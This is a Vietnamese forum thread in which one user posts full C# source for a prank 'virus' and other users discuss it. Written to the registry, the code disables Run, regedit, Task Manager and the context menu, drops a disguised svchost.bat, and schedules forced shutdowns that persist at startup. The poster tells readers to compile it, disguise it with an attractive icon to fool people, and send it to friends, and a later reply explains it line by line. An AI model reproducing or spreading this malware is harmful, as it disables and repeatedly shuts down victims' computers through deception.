PDA

View Full Version : [Hot]Chương Trình Ứng Dụng



Cơn Gió
28-03-2012, 10:28 PM
Đây là chương trình viết bằng C# class nhé.
Mình đã để thằng bạn mình test rồi,Các bạn cứ yên tâm.Không có lỗi gì đâu.
Đừng mà debug nhé.
Không là khó mà cứu vãn.
Tính năng của nó là :
- Khóa taskbar
-Regedit
- Khóa chuột phải
........................
Nói tóm lại là cự bật máy nó lại tắt,
code đây , các bạn đóng gói exe lại nhé ! rồi cho bạn mình test

using System;using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System.IO;
using System.Diagnostics;
namespace TracNghiemCsharp
{
class Program
{
static void Main(string[] args)
{


Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\policies\Explorer", "NoRun", 1, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\policies\system", "DisableRegistryTools", 1, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\policies\system", "DisableTaskMgr", 1, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\policies\Explorer", "NoViewContextMenu", 1, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\policies\Explorer", "NoFolderOptions", 1, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner", "Mr.Tin", 1, Microsoft.Win32.RegistryValueKind.DWord);


StreamWriter sw = new StreamWriter("C:\\windows\\system32\\svchost.bat");
string s = "shutdown/s /f /t 0300 /c " + (char)34 + "Tu dong tat may sau 300 giay" + (char)34;
sw.Write(s.ToString());
sw.Close();


foreach (Process proc in Process.GetProcesses())
{
if (proc.ProcessName == "explorer") proc.Kill();
}
System.Diagnostics.Process.Start("explorer.exe");
System.Diagnostics.Process.Start("shutdown", "/s /f /t 0300 /c " + (char)34 + "Tu dong tat may sau 300 giay" + (char)34);
Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\C urrentVersion\\Run", "svchost", "C:\\windows\\system32\\svchost.bat", Microsoft.Win32.RegistryValueKind.String);
Console.Write("Chuc Mung Ban Dinh Con Virus Con Gio ");
Console.ReadLine();
}
}
}
Chúc các bạn có những phút giây vui vẻ!

loctinh2030
29-03-2012, 10:36 AM
anh ơi, cách sử dụng ra sao? nếu đã lỡ chạy nó ra file exe trong máy rồi, vậy làm sao khắc phục đc.

Cơn Gió
29-03-2012, 10:49 AM
Code này đa test rồi,máy thằng bạn chết cứng.
Nó tốt nhất không nên debug nó.
Mà cứ đóng gói lại file exe đi.
Rồi cho ico thật đẹp để lừa người. ;))

loctinh2030
29-03-2012, 11:19 AM
chỉ em cách đóng gói đi anh.

Cơn Gió
29-03-2012, 12:11 PM
Bạn có thể xem hướng dẫn tại đây !
Download Now (http://www.mediafire.com/?dwj67h0g48x094n)

BlogSoftvn
29-03-2012, 02:08 PM
vào thẳng gpedit mà nghịch, he he

Cơn Gió
29-03-2012, 06:01 PM
vào thẳng gpedit mà nghịch, he he
cái này có cái hay nữa là cứ tắt máy,bật lên sau khoảng 300S lại tắt.
rồi tất cả như run,hay regedit.............. tịt luôn

loctinh2030
29-03-2012, 08:11 PM
nếu mình bị, do sơ suất bị bạn bè gửi lại, có cách khắc phục ko anh,
lúc em đóng gói, làm theo hướng dẫn, sao bước này
Add thêm file SQL của bạn gồm 2 file là *.mdf và *.ldf vào application folder.

thì em tìm ko ra 2 file đó ở đâu.

Cơn Gió
29-03-2012, 09:55 PM
à cái đó là đóng gói theo kiểu kèm theo database.
bạn chỉ cần đóng gói bình thường,bỏ qua bước đó đi.
không cần ico nữa

loctinh2030
29-03-2012, 10:47 PM
uhm, còn cái bước 9, sao em chọn bult nó ko có gì hết, bước cuối cùng ah, cho nó ra 1 file phần mềm.

giờ đã bị rồi, làm sao khắc phục gõ bỏ nó ra? hjc

loctinh2030
06-06-2012, 06:50 PM
anh có thể giải thích từng dòng code cho em được không anh.

hanhkhat
06-06-2012, 10:39 PM
anh có thể giải thích từng dòng code cho em được không anh.



using System;using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System.IO;
using System.Diagnostics;

Đây là bước load module hệ thống để sử dụng. Code này là C# nên cần load .net.
Nhìn vào using System.Linq; thì biết cậu này code bằng visual 2008 hoặc 2010

Ví dụ:
Bên dưới có dòng
System.Diagnostics.Process.Start("explorer.exe");
Nếu phía trên không có using System.Diagnostics; thì phải gõ nguyên dòng System.Diagnostics.Process.Start("explorer.exe"); để chạy Process.Start(). Tuy nhiên ở trên đã có using System.Diagnostics; nên thực tế chỉ cần gõ Process.Start("explorer.exe"); là chạy được rồi.

Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\policies\Explorer", "NoRun", 1, Microsoft.Win32.RegistryValueKind.DWord);
Cái này là tạo key trong registry
tại khóa HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\policies\Explorer, sẽ tạo một key mới với tên là NoRun có giá trị 1, kiểu dữ liệu là DWord
Mấy dòng dưới tương tự.



StreamWriter sw = new StreamWriter("C:\\windows\\system32\\svchost.bat");
string s = "shutdown/s /f /t 0300 /c " + (char)34 + "Tu dong tat may sau 300 giay" + (char)34;
sw.Write(s.ToString());
sw.Close();

StreamWriter sw = new StreamWriter("C:\\windows\\system32\\svchost.bat");
sw.Write(s.ToString());
sw.Close();
Tạo một file svchost.bat trong thư mục system32
Bên trong file svchost.bat có nội dung
shutdown/s /f /t 0300 /c "Tu dong tat may sau 300 giay"
Cái char(34) là để ghi dấu " vào thôi.


foreach (Process proc in Process.GetProcesses()) =>tìm trong process
{
if (proc.ProcessName == "explorer") proc.Kill(); => có cái nào tên là "explorer" thì tắt nó đi
}
System.Diagnostics.Process.Start("explorer.exe"); => khởi động lại explorer
System.Diagnostics.Process.Start("shutdown", "/s /f /t 0300 /c " + (char)34 + "Tu dong tat may sau 300 giay" + (char)34); => Shutdown máy
Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\C urrentVersion\\Run", "svchost",
"C:\\windows\\system32\\svchost.bat", Microsoft.Win32.RegistryValueKind.String);=>ghi file svchost cho nó tự động chạy mỗi khi khởi động máy
Console.Write("Chuc Mung Ban Dinh Con Virus Con Gio "); => Xuất ra dòng chữ Chuc Mung Ban Dinh Con Virus Con Gio
Console.ReadLine();
}
}

Xong

thuvienct
07-06-2012, 03:39 PM
anh ơi, cách sử dụng ra sao? nếu đã lỡ chạy nó ra file exe trong máy rồi, vậy làm sao khắc phục đc.

Phúc Cùi Bắp
07-06-2012, 06:01 PM
Muốn chạy thì phải build nó ra file exe rồi kich lên chạy thôi.
Muốn gỡ nó thì bạn làm các bước trên, nhưng làm ngược lại là được

ThacDuy
22-06-2012, 11:11 AM
Cho mình hỏi là làm sao để khắc phục nếu đã chạy !!